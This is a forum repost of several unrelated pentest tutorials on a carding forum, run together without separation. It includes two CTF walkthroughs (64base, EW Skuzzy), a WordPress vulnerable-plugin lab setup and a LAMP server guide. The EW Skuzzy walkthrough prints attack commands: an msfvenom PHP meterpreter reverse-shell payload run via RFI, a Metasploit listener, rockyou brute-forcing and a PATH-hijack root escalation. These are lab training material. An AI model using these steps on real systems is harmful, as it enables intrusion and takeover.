[Guide] How to Hack the 64base VM (CTF Challenge)

[Guide] How to Hack the 64base VM (CTF Challenge) - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to Hack the 64base VM (CTF Challenge) (/Thread-Guide-How-to-Hack-the-64base-VM-CTF-Challenge)

[Guide] How to Hack the 64base VM (CTF Challenge) - NINZA - 05-10-2020

Hello friends! Today we are going to take another CTF challenge known as 64base. The credit for making this vm machine goes to “3mrgnc3” and it is another capture the flag where author has hidden flag for the attacker as a challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.118 but you will have to find your own)
netdiscover
[Image: 1.png?w=687&ssl=1]

Use nmap for port enumeration
nmap -p- sV 192.168.1.118
[Image: 2.png?w=687&ssl=1]

We found that port 80 is open, so let’s open this ip in our browser.
[Image: 3.png?w=687&ssl=1]

When we take a closer look at the source code, we found a long encoded string comment.
[Image: 4.png?w=687&ssl=1]

It is hexadecimal encoded, after decoding it we found another base64 encoded string. Decoding the latter string we found our 1st flag.
[Image: 5.png?w=687&ssl=1]

Now inside the flag is another base64 string, we decode it and find a username and password.
[Image: 6.png?w=687&ssl=1]

Now we take a look around the site in the first post we find hint, using cewl we make a dictionary of this page and find that Imperial-Class directory exists.
[Image: 17.png?w=687&ssl=1]

Opening the link, it will ask for password and username. We use the username and password that we found earlier to login. When we open this link we find a hint, so we take a look at the source code.
[Image: 7.png?w=687&ssl=1]

Inside the source code we find another hint for a link.
[Image: 8.png?w=687&ssl=1]

When we open this link we find a login page. When we look at the source code of the login page we find that when data is submitted a file called login.php is handling the login form. So we take a look at that page.
[Image: 11.png?w=687&ssl=1]

Here we found a few strings that are encoded in hexadecimal, when we decode them individually we find they are part of a bigger string so we join the strings together and decode it.
[Image: 12.png?w=687&ssl=1]

The string is in hexadecimal format, when we decode it we find a base64 encoded string. When we decode the base64 string we find our 2nd flag. Inside the flag is another base64 encoded string, when we decode it we find that it is a link to a youtube video.
[Image: 13.png?w=687&ssl=1]

From this video we are hinted that we should use burp suite. So we start the burp suite to capture the request of the login page.
[Image: 14.png?w=687&ssl=1]

After capturing the request we sent it to repeater, here in the response we get the 3rd flag. Inside the flag we see a base64 encoded string.
[Image: 15.png?w=687&ssl=1]

After decoding the flag we get a link.
[Image: 16.png?w=687&ssl=1]

Here we don’t find anything, then we remember the hint what we found on the first page.
[Image: 17.png?w=687&ssl=1]

So we replace exec with system and try to run our command.
[Image: 18.png?w=687&ssl=1]

Here we find our 4th flag and we find that inside the flag contains base64 encoded string. After decoding it we find a username and password now we are going to use it to login into ssh After failing a few times, I encoded the password again in base64 format.
[Image: 19.png?w=687&ssl=1]

Now we are going to login through ssh, we know from netcat that port 62964 is running openssh.
[Image: 20.png?w=687&ssl=1]

Now that we are inside the shell, we list the files in the current directory.
[Image: 21.png?w=687&ssl=1]

We open the file and get a random message, after trying a few commands it is possible that the functions of the commands have been changed. So we check the path of commands
echo $PATH/*
[Image: 22.png?w=687&ssl=1]

We find that path of the commands have been changed. We see that there is a command called droids, we run it to see what it does.
[Image: 23.png?w=687&ssl=1]

After running the command we get a matrix screen, when we close it we get this message given in the above image. Earlier we weren’t able to change directory, now after running the command we were able to change directories.
After going through the files we find a hint inside /var/www/html/admin. We find a folder called S3cR37/ we move into this folder and find our 5th flag.
[Image: 24.png?w=687&ssl=1]

Inside the flag5 we find a base64 string when we decode it, it gave us a hint.
[Image: 25.png?w=687&ssl=1]

Now cat command doesn’t work so we use strings command to find the strings inside the file.
[Image: 26.png?w=687&ssl=1]

We find a hexadecimal encoded string, we copy it into a file on our local system and decode it and find it is an rsa key.
[Image: 27.png?w=687&ssl=1]

We remove its permission using command:
chmod 600 rsa_key
Then we connect to root using this key
ssh 192.168.1.118 –I rsa_key
When we try to login it ask for a passphrase, after a lot of searching we send the flag5 file to our system for more information.
scp -P 62964 [email protected]:/var/www/html/admin/S3cR37/flag5* \ > /root/Desktop/flag5.jpeg
[Image: 28.png?w=687&ssl=1]

Now we open the file on the local system, inside the file we find another hint to use the force.
[Image: 29.png?w=687&ssl=1]

After trying some passphrases, we found the passphrase is usetheforce
Now when we can login through ssh.
[Image: 30.png?w=687&ssl=1]

We find the final flag; inside the flag we find a hexadecimal string. When we decode the string we find a base64 string, again when we decode the string we find a hexadecimal string, when we decode the hexadecimal string we again find a base64 string. When we decode it we finally get a message that looks like a command.
[Image: 32.png?w=687&ssl=1]

When we run this command on the VM, we get a congratulation message that we completed the CTF.
[Image: 33.png?w=687&ssl=1]

Today we are demonstrating how to install and configure WordPress for penetration testing inside the web server. To configure WordPress, you must install any web host software such as xampp/wamp or read our previous article “

[To see content please register here]

” which will help in setting up of your own localhost web server. Here we are using our own web server which had to configure in Ubuntu 14.04.
WordPress is a free and open-source content management system (CMS) based on PHP and MYSQL. It is installed on a web server that is either part of an Internet hosting service or a network host in its own right. WordPress is reportedly the most popular website management or blogging system in use on the Web, supporting more than 60 million websites.
For more detail visit

[To see content please register here]

Let’s start!!
If you have read our

[To see content please register here]

article, then you might be remembering that we had specified blank space as the password for the root user. Now start with login into phpmyadmin as the root user.
[Image: 0.png?w=687&ssl=1]

phpmyadmin is separated into two parts left and right panels. The left panel contains the name of existing databases and the right panel contains a functional setting for performing maintenance operations on tables, backing up information, editing things and creating or deleting the database.
In order to store WordPress data, we need to create a new database. Now click on the databases tab given at the top of the right panel.
[Image: 1.png?w=687&ssl=1]

Now enter the name for database system such as WordPress and then click on create. After that, you will observe a new database “WordPress” will get added into the left panel.
[Image: 2.png?w=687&ssl=1]

Open the terminal and type following command to download WordPress inside /var/www/html
wget

[To see content please register here]

1
wget

[To see content please register here]

Now unzip the folder of latest.zip
unzip latest.zip
ls
1
2
unzip latest.zip
ls
From the given image you can see we have a folder of WordPress inside /html/ directory.
[Image: 4.png?w=687&ssl=1]

Now for WordPress installations open it on the browser through URL: http:// localhost/wordpress as shown in the given image. At the end of the window click on let’s go to proceed for installation.
[Image: 5.png?w=687&ssl=1]

At another window enter your database connection information such as:
Database Name: wordpress
Username: root
Password: (null)
Database host: localhost
1
2
3
4
Database Name: wordpress
Username: root
Password: (null)
Database host: localhost
Now click on the submit tab.
[Image: 6.png?w=687&ssl=1]

In the next window, you will get some code of line to configure the wp-config.php file as shown in the given image. Now copy the highlighted text into a text document. After you have done come back and click on run the install.
[Image: 7.png?w=687&ssl=1]

As you can see we have pasted above copy text inside a text file and then save it as wp-config.php on the desktop.
[Image: 8.png?w=687&ssl=1]

Since we have saved wp-config.php on the desktop, therefore, we are going to shift it inside /var/www/html/wordpress using the following command.
mv /home/raj/Desktop/wp-config.php .
1
mv /home/raj/Desktop/wp-config.php .
After then go back to the previously open tab and click on Run the install.
[Image: 9.png?w=687&ssl=1]

“Welcome” the new window will come up, now fills the information below and you’ll be on the way for WordPress installation.
Site title: Pentest Lab
Username: admin
Password: password
Email: (your email ID)
1
2
3
4
Site title: Pentest Lab
Username: admin
Password: password
Email: (your email ID)
At last click on “install WordPress” tab given at the end of the window.
[Image: 10.png?w=687&ssl=1]

Once WordPress will successfully install, click on log in as shown in the given image.
[Image: 11.png?w=687&ssl=1]

Now enter your WordPress credential for login.
[Image: 12.png?w=687&ssl=1]

Great!! Finally our website “pentest lab” is online on localhost server and is ready posting articles and blogs.
Now we need to add some Plug-in WordPress so that we can make WordPress penetration testing by exploiting these plug-in based vulnerabilities. WordPress’ plug-in architecture allows users to extend the features and functionality of a website or blog.
[Image: 13.png?w=687&ssl=1]

Now type the following command to give all permission to the file and folder own by www-data of /var/www/html.
sudo chown –R www-data /var/www/html
1
sudo chown –R www-data /var/www/html
[Image: 14.png?w=687&ssl=1]

For penetration testing practice we are going to download some vulnerable plug-in so that we have our own vulnerable WordPress site.
We had downloaded a vulnerable plug-in “reflex gallery 3.1.3 arbitrary file upload” found from inside the exploit-db.com, you can download many another vulnerable plug-in from exploit database.
[Image: 15.png?w=687&ssl=1]

Now login into WordPress as admin to access administration control panel and then select plugins option from the dashboard and go for the new plugin so that you can add your install plug-in in your WordPress.
[Image: 16.png?w=687&ssl=1]

Now browse you downloaded the zip file and then click on upload plugin for installation.
[Image: 17.png?w=687&ssl=1]

It will install the plug-in into WordPress, now to activate it click on given tab Activate Plugin as shown in the given image.
[Image: 18.png?w=687&ssl=1]

Similarly, you can install as much as can be possible vulnerable plug-in into WordPress. You can see we had installed many plug-ins inside our WordPress so that we can make more practice on WordPress penetration testing which you will learn in our next upcoming article.
Wait for our next article where you will how to exploit WordPress plug-in base vulnerability.
[Image: 19.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as EW skuzzy. The credit for making this vm machine goes to “vortexau” and it is another capture the flag where author has hidden flag for the attacker as a challenge. You can download this VM here.
Let’s Breach!!!
The target holds 192.168.1.112 as network IP; now using nmap lets find out open ports.
nmap -sV 192.168.1.112
From give image you can check port 22 for SSH, 80 for TCP and 3260 for iscsi are open in target network.
[Image: 1.png?w=687&ssl=1]

We tried to connect it using ssh but didn’t find any clue, so we opened this IP in browser.
[Image: 2.png?w=687&ssl=1]

Ok now we spent some time on this site after using dirb and nikto we found some troll flags.
So we move on to the next port 3260 that is running the iscsi, ISCSI stands for Internet Small Computer Systems Interface. It is used for linking data storage facilities in a network.
You can check which targets are available by using the iscsiadm utility. Enter the following in a terminal:
iscsiadm -m discovery -t -st –p 192.168.1.112
Then we connect to the data storage
iscsiadm –m node –login
[Image: 3.png?w=687&ssl=1]

Now we check if the data storage is available.
fdisk –l
[Image: 4.png?w=687&ssl=1]

We see that 1 new storage /dev/sdb is available. Now we will mount this storage to access it.
mount /dev/sdb /root/Desktop/raj
[Image: 5.png?w=687&ssl=1]

After mounting the storage device we move into the storage and check the content of the storage.
[Image: 6.png?w=687&ssl=1]

We find our 1st flag, we also found a disk image inside the storage we now mount this disk to check the content of the disk.
[Image: 7.png?w=687&ssl=1]

Now we move inside the disk storage we found an eml file “ToAlice.eml” and an encrypted file “ToAlice.csv.enc”. We open the eml file and find our 2nd flag.
We also find that that the encrypted file is encrypted in 256-bit encryption through the eml file.
[Image: 8.png?w=687&ssl=1]

When we decrypt the file we find that it requires a password. So first we Bruteforce the encrypted file to obtain the password. The eml file also gave us the hint to use the rockyou wordlist. So we are going to use it for our bruteforce.
bruteforce-salted-openssl -t 6 -f /usr/share/wordlists/rockyou.txt -d sha256 -c AES-256-CBC ToAlice.csv.enc
[Image: 9.png?w=687&ssl=1]

We now have the password “supercalifragilisticoespialdoso”. We use openssl to decrypt the file.
openssl enc -d -aes256 -md sha256 -salt -in ToAlive.csv.enc -out alive -k supercalifragilisticoespialdoso
[Image: 10.png?w=687&ssl=1]

We find the 3rd flag, we also found some random strings. We first tried to decrypt it but they weren’t encrypted in the first place. Then we found that these were actually page name.
We open these in browser the first page gives us a site that doesn’t contain anything significant just some trolling.
[Image: 11.png?w=687&ssl=1]

The second page contains some content that looks useful.
[Image: 12.png?w=687&ssl=1]

After playing around the site we found our hint, we move to feed reader.
[Image: 13.png?w=687&ssl=1]

We open the load feed link.
[Image: 14.png?w=687&ssl=1]

Here we found our hint that there is a PHP file maybe hiding something useful so we use dirb to find all the php files inside this folder.
dirb

[To see content please register here]

-X .php

Now we find all the php files in the folder. When we open these files it gives us another hint. After taking a look at the URL we found that RFI may be possible on this site.
[Image: 16.png?w=687&ssl=1]

When we use RFI it says it requires an authentication key.
[Image: 17.png?w=687&ssl=1]

So we move to LFI, we open the PHP files using curl through LFI. We use php filter to bypass the security.
[Image: 18.png?w=687&ssl=1]

After scrolling down we found a base64 encoded string.
[Image: 19.png?w=687&ssl=1]

After decoding the file we found the 4th flag.
[Image: 20.png?w=687&ssl=1]

Now we open the other php files. After going through the files we found the next hint in “reader.php”.
We open the “reader.php” using LFI.
[Image: 21.png?w=687&ssl=1]

We again find a base64 string inside the file.
[Image: 22.png?w=687&ssl=1]

After decoding the string we found it was a php code. In the code we found our next hint, it states that the key is 47 characters long. After going through all my notes I found that flag4 was 47 characters long so we used it as the key and it worked.
[Image: 23.png?w=687&ssl=1]

Now we create a payload using msfvenom and save it as a text file.
msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4444 > /root/Desktop/ra.txt
[Image: 24.png?w=687&ssl=1]

After creating the file we then edit the file, we replace <?php with ##php##.
[Image: 25.png?w=687&ssl=1]

Then we use RFI to execute the shell on the server to get the meterpreter. Also add the Key at the end of the url.
[Image: 26.png?w=687&ssl=1]

We then start the listener in metasploit.
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.120
set lport 4444
exploit
[Image: 27.png?w=687&ssl=1]

Using RFI we execute the payload and got the shell
meterpreter > sysinfo
meterpreter > shell
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
1
2
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
Then we find executable files on the system
find / -perm -4000 2>/dev/null
[Image: 28.png?w=687&ssl=1]

We found the file /opt/alicebackup when we execute the file we found the file contains id command.
So we copy /bin/sh into id
cp /bin/sh id
and export the path to tmp/ folder
export PATH:/tmp/$PATH
then execute the file /opt/alicebackup
[Image: 29.png?w=687&ssl=1]

Now we when we execute the file, we get the root shell. After getting the root shell we move into the /root/ folder and find the final flag.
[Image: 30.png?w=687&ssl=1]

Hello friends! Today you will learn how to configure your own web server using Ubuntu inside the virtual machine and install LAMP services for web server configuration.
Let’s Begin!!
We are using VM Workstation 12 for Ubuntu installation, now for the guidance step by step.
Choose typical (1st options)for configuration and click on Next.
[Image: 1.png?w=687&ssl=1]

Since I have already downloaded Ubuntu 14.04 of 64 bit in my windows operating system, so let Browse it as shown in the given image.
Click on Next.
[Image: 2.png?w=687&ssl=1]

Now enter information for personalizing Linux inside text filed

Full name: pentestlab
Username: raj
Password: 123
Confirm: 123

Then click on next.
[Image: 3.png?w=687&ssl=1]

Specify disk capacity according to your desire as 20 GB I had specified.
Choose Split virtual disk into multiple files and then click on Next.
[Image: 4.png?w=687&ssl=1]

Now make some changes in setting through Customize Hardware before you click on Finish.
[Image: 5.png?w=687&ssl=1]

Change network adapter setting into Bridged and select the checkbox for Replicate physical network connection state.
Then click on Close then Finish.
This will create a new virtual machine inside your VM workstation.
[Image: 6.png?w=687&ssl=1]

Now, wait for a small period of time till it boots up automatically after then it will start installation which will take some time.
[Image: 7.png?resize=687%2C478&ssl=1]

Now enter your password for login.
[Image: 8.png?w=687&ssl=1]

Now we need to install LAMP service, which is a collection of open source software used to make web servers up and running. The LAMP stands for Linux, Apache, MySQL, and PHP.
For installation, the user must have root privileges now type the following command inside the terminal to begin.
sudo bash
apt-get update
1
2
sudo bash
apt-get update
[Image: 9.png?w=687&ssl=1]

Apache HTTP Server is cross-platform, meaning that it is built for a Unix-like system. Apache played a key function for the World Wide Web.
apt-get install apache2
1
apt-get install apache2
[Image: 10.png?w=687&ssl=1]

MySQL is the world’s most popular open-source database. MySQL is simple to set up and easy to use.
apt-get install mysql-server
1
apt-get install mysql-server
[Image: 11.png?w=687&ssl=1]

You will get a prompt, Press enter to set password “blank” for root user in MySQL configuration
[Image: 12.png?w=687&ssl=1]

Again press enter
[Image: 13.png?w=687&ssl=1]

phpMyAdmin is a free software tool written in PHP, proposed to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL.
apt-get install phpmyadmin
1
apt-get install phpmyadmin
[Image: 14.png?w=687&ssl=1]

Choose apache2 web server that will be automatically configured to run phpmyadmin.
[Image: 15.png?w=687&ssl=1]

Again a prompt will open to submit the password for phpmyadmin, to register with the database server.
Press enter to left password “blank” for phpadmin.
[Image: 16.png?w=687&ssl=1]

Now in order configure phpmyadmin under Apache, you need to edit “/etc/apache2/apache2.conf” at the end of apache2.conf file. Therefore type the following command to open the apache2.conf
cd /etc/apache2
gedit apache2.conf
1
2
cd /etc/apache2
gedit apache2.conf
[Image: a.png?w=687&ssl=1]

Once the file gets opened type following text at the end of the file as shown in the given image
# phpMyAdmin Configuration
Include /etc/phpmyadmin/apache.conf
1
Include /etc/phpmyadmin/apache.conf
After editing, save the file and restart apache2 service.
[Image: b.png?w=687&ssl=1]

Since we had given blank space as the password for phpmyadmin, therefore, we need to make some changes inside its file “ configuration.inc.php” so that it could Allow No Password while login into the database.
Type following command to open config.inc.php
gedit /etc/phpmyadmin/config.inc.php
1
gedit /etc/phpmyadmin/config.inc.php
[Image: c.png?w=687&ssl=1]

Focus on highlighted comment remove double pipe (||) to activate this comment.
[Image: d.png?w=687&ssl=1]

Now you can observe the given image is highlighting the following comment:
ALLOW NO PASSWORD = TRUE
[Image: e.png?w=687&ssl=1]

Now open myphpadmin in the browser as localhost/phpmyadmin as shown in the image.
[Image: f.png?w=687&ssl=1]

Install the PHP 5 module for Apache 2 and all of its dependencies.
apt-get install php5 libapache2-mod-php5
1
apt-get install php5 libapache2-mod-php5
Hence we had install LAMP services inside Ubuntu, therefore, it will operate as a web server.
[Image: 17.png?w=687&ssl=1]

Now install some other useful services for sharing data between server and client.
Secure Shell (SSH) is a cryptographic network protocol for operating network services securely over an unsecured network. It is a TCP protocol holds port 22 to establish communication between server and client.
apt-get install openssh-server
1
apt-get install openssh-server
[Image: 18.png?w=687&ssl=1]

Install vsftpd service, it is the default FTP server in the Ubuntu, it is also a tcp protocol hold port 21 for data transfer.
apt-get install vsftpd
1
apt-get install vsftpd
[Image: 19.png?w=687&ssl=1]

In order to ensure that the above service has been installed properly in your system use nmap which will scan your system and then tell open ports and running services on your system.
To run nmap, first, install it through the following command
apt-get install nmap
1
apt-get install nmap
[Image: 20.png?w=687&ssl=1]

Now scan your system using nmap to make sure of running services.
nmap 127.0.0.1
1
nmap 127.0.0.1
From given below image you can check it has dumped the result which has disclosed the running service of my system.
[Image: 21.png?w=687&ssl=1]